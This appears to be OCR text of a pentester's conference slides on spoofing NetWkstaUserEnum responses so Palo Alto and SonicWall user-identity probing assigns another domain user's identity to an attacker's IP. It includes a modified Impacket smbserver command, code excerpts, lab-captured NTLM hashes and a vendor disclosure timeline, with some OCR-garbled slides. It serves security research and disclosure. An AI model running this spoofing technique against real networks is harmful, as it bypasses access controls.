Hi!' I'm
DOMAIN\Steve,
please let me
access VLAN2.

Tricking firewall user identity capabilities into
applying security policies to arbitrary IPs on the
network.



Get-ADUser "Justin Perdok"

< Pentester at Orange Cyberdefense

¢« Enjoys craft beers and longboarding

Into hacking and automating stuff

@JustinPerdok on Twitter
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Storytime

Incoming connection (192.168.56.222,65475)
AUTHENTICATE_MESSAGE (DOMAIN\svc_palo_alto_userid,W10)

User W10\svc_palo_alto_userid authenticated successfully
svc_palo_alto_userid: :DOMAIN:aaaaaaaa:4b4d758600ea83bcdaaba

Connecting Share(1l:IPC$)

Unsupported DCERPC opnum 2 |called for interface ('6BFFD098-
Disconnecting Share(1:IPC$)

Closing down connection (192.168.56.222,65475)




Storytime

WHEN/AIDA'AUTHS)TO)VOU

’.

-

So anyway | started HEMYING



2014

Palo Alto
Credential Exposure
(HD Moore @ Project

Sonar)

Storytime

2018

The dangers of Client
Probing on Palo Alto
Firewalls
(Estaban Rodriguez @
Coalfire)

2019
The risk of Authenticated
Vulnerability
Scans
(Xavier Mertens @




Storytime

Tree Connect Request Tree:| \\192.168.56.149\IPC$ | 1
445 — 49903 [ACK] Seq=523 ACK=929 Win=e41Z28 [en=0
Tree Connect Response

) Create Request File: wkssvc
Create Response File: wkssvc

Bind: call_1d: 2, Fragment: Single, 3 context items: WKSSVC V1.0 (32bit NDR), WKSSVC V1.0 ..
Write Response

Read Request Len:1024 Off:0 File: wkssvc
Bind_ack: call id: 2, Fragment: Single, max_xmit: 4280 max_recv: 4280, 3 results: Acceptan..

3 [NetwkstaEnumUsers request
ault: call 1d: 2, Fragment: Single, Ctx: 0, status: Unknown (0x000006e4)[Malformed Packet]

Close Requegt File: wkssvc
Close Response




Named pipes

C:\>net share

Share name Resource

Default share
Remote IPC
C:\Windows Remote Admin
The command completed successfully.




Named pipes




FIREWALLS

e

IPCS SHARES



Traditional segmentation The Solution

Clients —

Firewall The Internet

Servers



Traditional segmentation

Firewall The Internet

Clients

Servers



Traditional segmentation

Clients

N 7
M.
XXXl HEEE
| Switch Firewall The Internet

Servers



Traditional segmentation

Switch 1

untagged untagged
VLAN2

eth3 «— eth4




Traditional segmentation

Preamble | Destination | Source Type PaylLoad CRC/FCS
MAC MAC
address address |
Preamble | Destination | Source 802.1Q Type PaylLoad Recalculated
MAC MAC header field
address address (VLAN ID) CRC/FCS




Traditional segmentation

Switch 1 Switch 2
. Tagged Tagged Untagged
VLAN 1,2 VLAN 1,2 Ports
Untagged
ports

Step through



Traditional segmentation

Clients

PR ---

/ Switch

/ Firewall E The Internet

'

From Ports
VLAN1 |Port 80

Servers



Traditional segmentation

*Qverdramatic example



Exploring $Vendor1
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Active Directory
authentication Syslog servers Client Probing And more!
logs



Exploring $Vendor1

Clients
N 7
AT,

(0 0 0 0
Switch

/

\ The Internet
From User To Ports
Steve |[VLAN1 |Port 80

Servers



Exploring $Vendor1

The sysadmin in me

b

That's awesomel

[ Tre



Exploring $Vendor1

The hacker in me

OH! THAT 'S TERRIBI.E'



Exploring $Vendor1
Client Probing




Exploring $Vendor1
Client Probing




Exploring $Vendor1
Client Probing

I'd like access to the VIP fridge
pls. My hotel room number is

(192.168.56.)148.

(ping vip-fridge.tld)




Exploring $Vendor1
Client Probing




Exploring $Vendor1
Client Probing

My name is Justin.

(NetwkstaUserEnum Response)




Exploring $Vendor1
Client Probing




Exploring $Vendor1
Oversight of Client Probing ?




Exploring $Vendor1
Oversight of Client Probing ?

I'd like access to the VIP fridge
pls. My hotel room number is
(192.168.56.)149.




Exploring $Vendor1
Oversight of Client Probing ?




Exploring $Vendor1
Oversight of Client Probing ?

My name is Steve.

(Spoofed NetWkstaUserEnum
Response)




Exploring $Vendor1
Oversight of Client Probing ?




Exploring $Vendor1

Client probing: "l trust client side without validation."

Hackers around the world:

th

You fool! You fell victim to one of the classic blunders!




Exploring $Vendor1

ping vipbeer-fridge.tld

Spoofed NetWkstaUserEnum Response




Exploring $Vendor1

HIP
Name Tag Typ Zone Address  User Pro Zone Address
VLANZ to VLAN1 n... U.. EAf VLAN2 any any any g VLAN1 any
VIP Members in VLAN 1 to VIP Beer Fridge in VLAN2 | n... u... fi) VLAN1 any (_3 domain\vip members  any fif] VLAN2 Mg VIP_Beer_Fridge_192.168.57.10
n... u.. @i VLAN1 Mg DC ... any any g VLAN2 any

DC to VLANZ2




Exploring $Vendor1

WMI
SMB

User-ID Agent Firewall



Exploring $Vendor1

VLANZ2
192.168.57.1/24

VIP Beerfridge

/ Switch Firewall
Clients User-ID Agent L
g Controller
VLAN1

192.168.56.1/24



Exploring $Vendor1

Log on as a service Properties

Local Security Setting Explain

j Log on as a service

A e L L B L T L LT T T TS

NT SERVICEMALL SERVICES

Add User or Group... Remove




Exploring $Vendor1

STEP 4 » (Optional, not recommended) Configure client probing.

~

Do not enable client probing on high-security networks. Client probing
can generate a large amount of network traffic and can pose a security
threat when misconfigured.




Exploring $Vendor1

Windows Server Maonitoring

Security Log Manitor Frequency (seconds)

Server Session Read Freguency (seconds)

Enable Security Log Monitor
1

[ ]Enable Server Session Read
10

[~ Enable WMI Probing
(/] Enable NetBIOS Probing

Probing Interval (minutes) | 20




Exploring $Vendor1

Servers
Mame Type Metwork Address
[J deot.ad.domain, td active-directory 192, 168,56, 10
Add Edit Delete Auto Discover

Indude [ Exdude list of configured networks

Mame Discavery Metwork Address

Edit Delete Clone Move Up | | Move Down



Exploring $Vendor1

Authentication Server Monitor Client Probing Cache Agent Service eDirectory Syslog

Enable User Identification Timeout
User Identification Timeout (minutes) 45

| UseripMap - Notepad — (m}

File Edit Format View Help
h92.168.57.10Idomain\administratorl2700]162d652907|2|0|0|Fri Jun 25 13:28:27 2021

192.168.56.1|domain\svc_palo_alto_userid|2700|1624651926|2|@|@|Fri Jun 25 13:12:06 2021
192.168.56.222|domain\svc_palo_alto_userid|2700|1624653308|2|@[@|Fri Jun 25 13:35:08 2021

192.168.56.10| domain\administrator|2700]|1624620909|2|0]|2|Fri Jun 25 ©4:35:09 2021

s




Exploring $Vendor1

User-D Agent

Name | new_wi10

Add an Agent Using () serial Number (®) Host and Port

Host 192.168.56.222

Port 5007

| Use as LDAP Proxy

_| Use for NTLM Authentication

User-ID Collector Name

User-ID Collector Pre-Shared Key

Contfirm User-ID Collector Pre-Shared Key
@ Enabled

| HIP Report




Exploring $Vendor1

Name VLAN1 User Identification ACL

Log Setting None — @ Enable User Identification

Include List
ct an addre: cupart;
Interfaces ﬂ. s. Ex: 192 2.168.1.

D ethemnet1/1

in your own

Add @

Users from these addresses/subnets will be identified.

&9 Add B

Zone Protection

Zone Protection Profile  None v

|| Enable Packet Buffer Protection Add O

Users from these addresses/subnets will not be identified

ED S




Exploring $Vendor1

LDAP Server Profile

Prafile Name | user-id-1 I

|:| Administrator Use Only

Server List Server Settings
Name LDAP Server Port Type active-directory v
192.168.56.10 192.168.56.10 389 Base DN DC-ad,DC-domain,DC=tld v

Bind DN CN=svc_palo_alto_userid,CN=Users, DC=AD,DC=dao
Password eesesese

Confirm Password eeesesesse
Add @
Bind Timeout 30

Enter the IP address or FQDN of the LDAP server
Search Timeout 30

Retry Interval 60

E| Require SSLITLS secured connection

Verify Server Certificate for SSL sessions

DS




Exploring $Vendor1

Group Mapping

Name | ad.domain.tid|

Server Profile~ User and Group Attributes ~ Group Include List

Server Profile |user-id
Domain Setting

User Domain DOMAIN

Group Objects

Search Filter

Object Class

User Objects

Search Filter

Object Class  person

@ Enabled

[ ] Fetch list of managed devices

Update Interval

Custom Group

[60 - 86400]

EDEZR




Exploring $Vendor1

HIP
Name Tag Typ Zone Address  User Pro Zone Address
VLANZ to VLAN1 n... U.. fER VLAN2 any any any g VLAN1 any
VIP Members in VLAN 1 to VIP Beer Fridge in VLAN2 ' n... u... fif VLAN1 any d: domain\vip members | any fi VLANZ % VIP Beer Fridge 192.168.57.10
DC to VLANZ2 n... u... Al VLAN1 Sy DC ... any any f#j) VLAN2 any

@justinp-VirtualBox: /home/justin-p# ping 192.168.57.10
< 192.168.57.10 (192.168.57.10) 56(84) bytes of data.

root@justinp-VirtualBox: /home/justin-p# smbserver.py test . -smb2support -debug
Impacket v0.9.22.dev1+20201001.141742.e834325b - Copyright 2020 SecureAuth Corporation

Impacket Library Installation Path: /usr/local/lib/python3.8/dist-packages/impacket-8.9.22.dev1

Config file parsed

Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0

Callback added for UUID 6BFFDO98-A112-3610-9833-46C3F87E345A V:1.0

Config file parsed

Config file parsed

Confia file parsed

Incoming connection (192.168.56.222,64214)

AUTHENTICATE_MESSAGE (DOMAIN\svc_palo_alto userid,W10)

User W1@\svc_palo_alto_userid authenticated successfully

svc_palo_alto_userid::DOMAIN:aaaaaaaa:fb7ef215c6b677781fb04ffab18a661b:0101000000000000006060d3
3006300020010006200790060055004200660050006500040010006200790062005500420066005000650007000800006
60291f8f2e3c7f949d99bfc1d859d0anA100AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAT0N260063006900660073002F0031
[*] Connecting Share(1:IPCS)
[-]1 Unsupported DCERPC opnum 2 called for interface ('6BFFDA98-A112-3610-9833-46C3FB7E345A', '1.0")




Client in VLAN1

Exploring $Vendor1

Firewall

i)

VIP

ONLY
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Exploring $Vendor1

1. ping vip-fridge.tld
from 192.168.2.149




Hold up.

Exp loring $Vendor1 Need to know

your name.

1. ping vip-fridge.tld
from 192.168.2.149

ACL with User-ID

(P]
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Exploring $Vendor1

1. ping vip-fridge.tld
from 192.168.2.149
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Lolwut ?

U rted I
e Exploring $Vendort




Building the tool

maybe if i implement
NetWkstaUserEnum

no one will be able to tell i'm
spiderman

The Tool




Building the tool

Tree Connect Request Tree: ‘\\192.168.56.149\IPC%
445 — 49903 [ACK] Seq=523 Ack=929 Win=64128 Len=0
Tree Connect Response

Create Request File: wkssvc
Create Response File: wkssvc

[MS-WKST]:

Workstation Service Remote Protocol

Intellectual Property Rights Notice for Open Specifications Documentation

https://winprotocoldoc.blob.core.windows.net/productionwindowsarchives/MS-WKST/%5BMS-WKST%5D.pdf



Building the tool

Building
a protocol
implementation
from scratch

Using
a existing
opensource
project




Building the tool

[MS-WKST]: Workstation Service Remote
Protocol

What is Impacket?

Impacket is a collection of Python classes for working
level programmatic access to the packets and for son
implementation itself. Packets can be constructed fro
oriented AP| makes it simple to work with deep hierar
of what can be done within the context of this library.

A description of some of the tools can be found at: se

What protocols are featured?

Ethernet, Linux "Cooked" capture.

IP, TCP, UDP, ICMP, IGMP, ARP.

IPv4 and IPv6 Support.

NMB and SMB1, SMB2 and SMB3 (high-level in
MSRPC version 5. over different transports: TCP,

dlain, NTLM and Kerberos authentications, using

tions/full implementation of the following MSH
SRVS JWKST, SCMR, BKRP, DHCPM, EVENS, M

Portions of TDS (MSSQL) and LDAP protocol im



Building the tool

eoo00
XX

class NetrWkstaUserEnum(NDRCALL):
opnum = 2
structure = (
('ServerName', LPWKSSVC_IDENTIFY_HANDLE),
('UserInfo', WKSTA_USER_ENUM_STRUCT),
( 'PreferredMaximumLength', ULONG),
( 'ResumeHandle', LPULONG),

NetrWkstaUserEnum(
ServerName,

UserInfo,
PreferredMaximumLength,
ResumeHandle




Building the tool

Get-NetLoggedon

SYNOPSIS

Returns users logged on the local (or a remote) machine. Note: administrative rights needed for newer
Windows OSes.

Author: Will Schroeder (@harmjOy)
License: BSD 3-Clause

Required Dependencies: PSReflect, Invoke-Userlmpersonation, Invoke-RevertToSelf

<#
Implementation of NetWkstaUserEnum that utilizes

https://github.com/mattifestation/psreflect to
stay off of disk.

by @harmjoy
#>




Building the tool




Building the tool

Lolwut?

Unsupported
DCERPC

S =
interrace

DCERPCServer init (self)
self.wkssvcCallBacks {
0. self NetrWkstaGetInfo

2: self.NetrWkstaUserEnum

1.0 PIPE\\wkssvc', self.wkssvcCallBacks)




Building the tool

server smbserver.SimpleSMBServer(listenAdc PTLONS arface address, listenPort=int(options.port
wkuil use€ ‘ Lions. fed username
wkuil lo don¥ ntio poofed logon domain
wkuil ot mains ) )oofed other domains
wkuil log WEE spoofed logon server)

wkuil oth domains

def addLoggedOnUser(self, wkuil username, wkuil logon domain
user = wkuil username
self. smbConfig.add section(user)
self. smbConfig.set(user, 'wkuil username', wkuil username)

wkuil logon server='")




Building the tool

del (sections[sections.index('global')])

self. users {}
for section in sections
if self. serverConfig.has option(section, ‘wkuil username')

self. serverConfig.has option(section, 'wkuil logon domain')

self. serverConfig.has option(section, ‘'wkuil oth domains')

self. serverConfig.has option(section, 'wkuil logon server')
self. users[section] dict(self. serverConfig.items(section))




Building the tool

UserInfo = WKSTA USER INFO 1()
UserInfo[ 'wkuil username'] user.get

wkuil username')

(
UserInfo[ 'wkuil logon domain'] user.get('wkuil logon domain')
(

UserInfo[ 'wkuil oth domains'] user.get('wkuil oth domains')
UserInfo[ 'wkuil logon server'] user.get('wkuil logon server')
UserEnum|[ 'UserInfo'][ 'WkstaUserInfo']['Levell']['Buffer'].append(UserInfo)




PS C:\Users\administrator> Get-NetLoggedon -HostName 192.168.56.149

wkuil username wkuil_logon_domain wkuil_oth_domains wkuil_logon_server

Steve

Domain DC

PS C:\Wsershadministrator> |

root@justinp-VirtualBox: ~ root@justinp-VirtualBox: fhomefjustin-p/Documents

root@justinp-virtualBox:~-# smbserver.py test . -smb2support -debug -spoofed_username Steve -spoofed_logon_domain Domailn -spoofed_legon_server DC
Impacket v@.9.22.dev1+20201001.141742.e834325b - Copyright 2020 Secureauth Corporation

[-

Impacket Library Installation Path: fusr/local/lib/python3.8/dist-packages/impacket
Config file parsed

Callback added for UUID 4B324FC8-1670-81D3-1278-5A47BFGEE188 V:3.0

Callback added for UUID 6BFFDP98-A112-3610-9833-46C3FBTE345A V:1.0

config file parsed

Config file parsed

Config file parsed

Incoming connection (192.168.56.222,62193)

AUTHENTICATE_MESSAGE (DOMAIN\Administrator,W1@)

User Wie\Administrator authenticated successfully

1 Administrator::DOMAIN:aaaaaaaa:780bbacbfc6b484casobbesac3o06e7d: 01010000000000008036a8c2a771d7011164887122a53de800000000010010004400700054007200440056807a00660

00300100044007000540072004400560073006600020010005900720066004c006300420057007000040010005900790066004c0063004a0057007000070008008036a8c2a771d701060004000200000008
0036000300000000000000000000000003000007a51d5974a4f7e1db46e24ed9feddTe48a570T1e675dd4630970731457F7abef0a0010000000000000000000000000000000000009002600630069006600T7
3002700310039003200220031003600380022003500360022003100340039000000000000000000

[*] Connecting Share(1:IPCS)

[*] NetrWkstaGetInfo Level: 1

[*] NetrWkstaUserEnum: Returned Domain\Steve as WKSTA_USER_INFO_1.




Lolwut ? ?

Unsupported The Pwn
DCERPC. The Pum
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The Pwn

1. ping vip-fridge.tld
from 192.168.2.149

ACL with User-ID




The Pwn

)



The Pwn

User matches

Allow Access

—

User mismatch

Block Access ‘!,!g




w4 PA-VM

® co
paloalto

NETWORKS Dashboard ACC Monitor Policies Objects Network Device = Commit ¢ *:& Config v |

Name Tag Typ Zone Address  User ';:: Zone Address
1 VLANZ2to VLAN1 N... U.. FBRVLAN2 any any any [ VLAN1 @ any
2 | VIP Members in VLAN 1 to VIP Beer Fridge in VLAN2 N...| U...| BB VLAN1 any @ domainivip members | any g VLAN2 ‘—3‘ VIP_Beer_Fridge_192.168.57.1C
3 | DCto VLANZ2 n...|u... BB VLAN1 33 DC ... | any any| fif VLAN2 | any
4  intrazone-default - n... i... any any any any (intrazone) any
5 interzone-default - n... i... any any any any any any

Brd B & Move ~ | EgsPDF/CSV I Highlight Unused Rules | Reset Rule Hit Counter = ~ I View Rulebase as

ut |



Building the tool
Github

Added NetrWkstaUserEnum to smbserver.py #965

r & justin-pwmaster [7] ®~

) Conversation 3

https://github.com/SecureAuthCorp/impacket/pull/965

https://github.com/justin-p/impacket



SONICWALL

NetAPI

Other
$Vendors
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PALO ALTO SONICWALL
USER-ID SSO/l
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5. To configure a common service account that the SSO Agent will use to log into a
specified Windows Domain, enter the Username of an account with
administrative privileges in the Username field, the Password for the account in
the Password field, and the Domain Name of the account in the Domain
Name field. Click Next.

administrative privileges. Enter the usemame and password for this account. If

SonicWall Directory Connector Service User Confiquration
To access the domain, SonicWall Directory Connector requires a user account with @
you “Skip®, please use Windows Service Control Manager to configure.

Domain Name:
[example.com

User Name:

fswAdmin

Password:







Caveats
SMB Guest Access

47 39,940662536 192,168.56.1 192,168 56. 254

48 36.948876909 192.168.56.254 192.168.56.149 CP -6 42 2 - 445 ACK] eq-'¢
49 30.941776561 192.168.56.254 192.168.56.149 SMB2 184 Tree Connect Request Tr¢
50 30.941796275 192.168.56.149 192.168.56.254 TCcP 66 445 ~ 42722 [ACK] Seg=5i
51 30.943235131 192.168.56.149 192.168.56.254 SMB2 150 Tree Connect Response
sy elleeinie Gase sees C4sE ebee vesb weee = DFS operation: This is a normal operation
<] « tres sess wavs swes seae «e.. = Replay operation: This is NOT a replay operation

Chain Offset: 0x00000000

Message ID: Unknown (2)

Process Id: Ox@000feff

Tree Id: 0x00G60C06

~ Session Id: Ox000000002fe2ad2d

[Account: justin-p Acct:justin-p]
[Domain: DESKTOP-DO54A54 Domain:DESKTOP-DO54A54]
[Host: DESKTOP-D854A54 Host:DESKTOP-DO54A54]
[Authenticated in Frame: 47]

Signature: 000000000006000000000000000000000

[Response to: 45]

[Time from request: 0.002500585 seconds]
Session Setup Response (0x01)
[Preauth Hash: 26fc7fcf976d488816048250718120743b89138681c04df4..]
~ StructureSize: 0x0009
0000 6000 0060 190 = Fixed Part Length: 4
............... = Dynamic Part: True

Encrypt False




Caveats
SMB Guest Access

Guest access in SMB2 disabled by default in

Windows
09/08/2020 + 3 minutes to read * E a ’; aO

Default registry value:
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters]

"AllowInsecureGuestAuth"=dword:©

Configured registry value:
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters]

"AllowInsecureGuestAuth"=dword:1




Caveats
SMB Guest Access

Default registry value:
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters]

"AllowInsecureGuestAuth"=dword: 0

Configured registry value:
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters]

"AllowInsecureGuestAuth"=dword:1

TEM\CurrentControlSet\Services\LanmanWorkstation\Parameters

Name Type Data

ab) (Default) REG_SZ (value not set)

%4 EnablePlainTextPassword  REG_DWORD 0x 00000000 (0)

%4 EnableSecuritySignature  REG_DWORD 0x00000001 (1)

%3 RequireSecuritySignature  REG_DWORD 0x00000000 (0)

ab] ServiceDll REG_EXPAND SZ  %SystemRoot%\System32\wkssve.dil

J’-'g'» ServiceDllUnloadOnStop REG_DWORD 000000001 (1)



Started disclosure
with Palo Alto

Disclosure
Palo Alto

@ 6 o

22 Okt. 2020

"Moving forward
NetBIOS support
will be removed from
User-ID."

2 Nov. 2020 > 8 Jan. 2021

Issue would not warrent a
CVE since it was an
issue with
‘the protocol’, not Palo Alto.
Was added to the Hall of
Fame.

8 Jan. 2021 > Now

Status of dropping NetBIOS
unknown.
"Customers do have a way
to not use this feature, so in
essence the fix is already
present in the product.”




Started disclosure
with SonicWALL

Disclosure
SonicWALL

11 Nov. 2020

Informed me that vuln was
a duplicate.
Proposed fix that would
prompt a warning if the
user "Administrator" was
configured in the agent.

Currently build is in QA and
following are the fix provided
by our remediation team,

- Prompt a warning when user uses
‘administrator' to log in SSO agent

service/DC server/exchange server/
terminal server

- Prompt a warning when user uses
'‘NetAPI' as one of methods of
probing user




SONICWALL




Disclosure
SonicWALL

@ 6 o

11 Nov. 2020 11 Nov. 2020 > 3 Mar. 2021 5 Mar. 2021
Informed me that vuln was Shared my concerns
Started discl Propos ddufp “iﬁti' Id Lo W
arte ISClosure roposed TiX that wou proposed fix and
with SonicWALL prompt a warning if the wanted to verify which CVE-2020-5148
user "Administrator” was of the two findings

configured in the agent. where duplicates.



Disclosure
SonicWALL

a.

o)

Sedric Louissaint - 1ste
Senior Cyber Security Consultant at CLA (CliftonLarsonAllen)

5 MRT.

O Justin Perdok - 12:09
Hi Sedric, seems you are the other analyst I'm sharing

CVE-2020-5148 with.
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The ol’ if-statement

Checks the name (not effective
rights) of the service account

when updating this in the agent.

Not checked during installation
itself when this is initially set.

Disclosure
SonicWALL

NetAPI no longer default
probing method.

New
documentation

They now advice to create
service account with local
admin rights for "NetAPI"
based probing.



$Vendor3

Suspect they are
vulnerable.
Already started
responsible
disclosure
process.

What's next ?

Wmi

Lots of vendors
support WMI.
No tooling like

impacket
available
(afaik).

\\.\PIPE\WINREG

Some firewalls vendors
use the WINREG
named pipe for
probing. Potentially also
exploitable.

Abuse Cache

Reuse aip

that has a
user-to-ip
cached.

O

The Takeaways

SOtherProducts

What about
systems other
then firewalls ?




Conclusions & Takeaways

Why client probing is @ Sometimes security
generally a bad idea features can be insecure




Thanks!

Contact: @JustinPerdok on Twitter.

If | got something wrong, please let me know :)

Github url
https://github.com/justin-p/impacket

Impacket code

CREDITS: This presentation template was created by Slidesgo,
including icons by Flaticon, and infographics & images by
Freepik


https://github.com/justin-p/impacket

